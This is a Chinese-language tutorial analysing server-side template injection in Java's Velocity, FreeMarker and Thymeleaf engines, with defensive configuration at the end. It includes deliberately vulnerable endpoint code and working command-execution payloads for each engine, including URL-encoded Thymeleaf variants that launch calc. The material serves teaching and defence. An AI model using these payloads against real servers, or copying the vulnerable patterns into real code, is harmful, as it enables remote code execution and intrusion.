Java中SSTI漏洞分析
字数 1659 2025-08-06 21:48:45
Java中SSTI漏洞分析与防御指南
0x00 前言
SSTI (Server Side Template Injection)即服务端模板注入漏洞,是Web应用程序中由于不安全的模板引擎使用而导致的安全问题。在Java生态系统中,常见的模板引擎如Velocity、FreeMarker和Thymeleaf都可能存在SSTI漏洞。
0x01 Velocity模板注入
1.1 Velocity简介
Apache Velocity是一个基于Java的模板引擎,遵循MVC设计模式,确保表示层和业务逻辑层的隔离。
关键语法特征:
#开头的关键字:#set、#if、#else、#end、#foreach、#include、#parse、#macro`等$开头的变量标识符{}明确标识Velocity变量!强制不存在的变量显示为空白
1.2 漏洞利用分析
漏洞环境: java-sec-code项目
漏洞代码示例:
@RequestMapping("/ssti/velocity")
public String velocity(@RequestParam(defaultValue = "nobody") String template) {
Velocity.init();
VelocityContext velocityContext = new VelocityContext();
velocityContext.put("author", "Elliot A.");
StringWriter stringWriter = new StringWriter();
Velocity.evaluate(velocityContext, stringWriter, "test", template);
return stringWriter.toString();
}
攻击流程:
- 访问
/ssti/velocity?template=并提交恶意payload - Velocity引擎解析并执行恶意代码
关键调用链:
Velocity.evaluate()
→ RuntimeInstance.evaluate()
→ parse()
→ render()
→ execute()
漏洞利用示例:
#set($exec="runtime")
$exec.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
0x02 FreeMarker模板注入
2.1 FreeMarker简介
FreeMarker是一款通用模板引擎,用于生成HTML、电子邮件、配置文件等。
基本模板示例:
<html>
<head>
<title>Welcome</title>
</head>
<body>
<h1>Welcome ${user}!</h1>
</body>
</html>
关键特性:
- 支持
new内建函数创建TemplateModel实现变量 - 文档参考:http://freemarker.foofun.cn/ref_builtins_expert.html#ref_builtin_new
2.2 漏洞利用分析
漏洞代码示例:
@PostMapping("/template")
public String template(@RequestBody String template) {
StringTemplateLoader stringLoader = new StringTemplateLoader();
stringLoader.putTemplate("hello", template);
cfg.setTemplateLoader(stringLoader);
return "success";
}
攻击payload:
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("calc") }
攻击流程:
- POST请求
/template提交恶意模板 - StringTemplateLoader将恶意模板存入
- 访问
/hello时加载并执行恶意模板
关键点:
freemarker.template.utility.Execute类提供了命令执行能力new内建函数用于实例化恶意类
0x03 Thymeleaf模板注入
3.1 Thymeleaf简介
Thymeleaf是Spring Boot官方推荐的模板引擎,提供标准Spring方言。
表达式类型:
- 变量表达式:
${...} - 选择变量表达式:
*{...} - 消息表达式:
#{...} - 链接网址表达式:
@{...} - 片段表达式:
~{...}
3.2 漏洞利用分析
漏洞环境: spring-view-manipulation项目
漏洞代码示例:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; // template path is tainted
}
方法一:表达式预处理
payload:
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x
URL编码后:
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
攻击流程:
- 请求
/path?lang=恶意payload - Thymeleaf解析包含
::的模板名 StandarExpressionPreprocessor匹配__(.*?)__并执行内容
关键点:
- 使用SPEL表达式引擎
- 满足
**(${SPEL})**::格式触发注入
方法二:视图名注入
payload:
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x
URL编码后:
__$%7BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x
攻击流程:
- 请求
/doc/恶意payload - 无返回值时payload作为视图名
- 触发同样的表达式预处理机制
0x04 防御措施
通用防御策略
-
输入验证与过滤
- 对所有用户提供的模板内容进行严格验证
- 过滤危险字符和表达式
-
沙箱环境
- 配置模板引擎的安全沙箱
- 限制可访问的类和方法
-
最小权限原则
- 模板引擎运行在受限账户下
- 禁用危险的内置函数
引擎特定防御
Velocity防御:
VelocityEngine ve = new VelocityEngine();
ve.setProperty(RuntimeConstants.RUNTIME_REFERENCES_STRICT, true);
ve.setProperty(RuntimeConstants.EVENTHANDLER_INCLUDE, "org.apache.velocity.app.event.implement.IncludeRelativePath");
ve.setProperty(RuntimeConstants.EVENTHANDLER_REFERENCEINSERTION, "org.apache.velocity.app.event.implement.ReportInvalidReferences");
FreeMarker防御:
Configuration cfg = new Configuration(Configuration.VERSION_2_3_0);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setTemplateLoader(new StringTemplateLoader());
Thymeleaf防御:
@Bean
public SpringTemplateEngine templateEngine() {
SpringTemplateEngine templateEngine = new SpringTemplateEngine();
templateEngine.setEnableSpringELCompiler(false);
templateEngine.setTemplateResolver(templateResolver());
return templateEngine;
}
0x05 总结
Java中的SSTI漏洞主要源于不安全的模板引擎使用,特别是当用户输入直接作为模板内容或模板路径时。了解各模板引擎的工作原理和漏洞利用方式,有助于开发人员编写更安全的代码。防御SSTI的关键在于严格控制用户输入,配置模板引擎的安全选项,并遵循最小权限原则。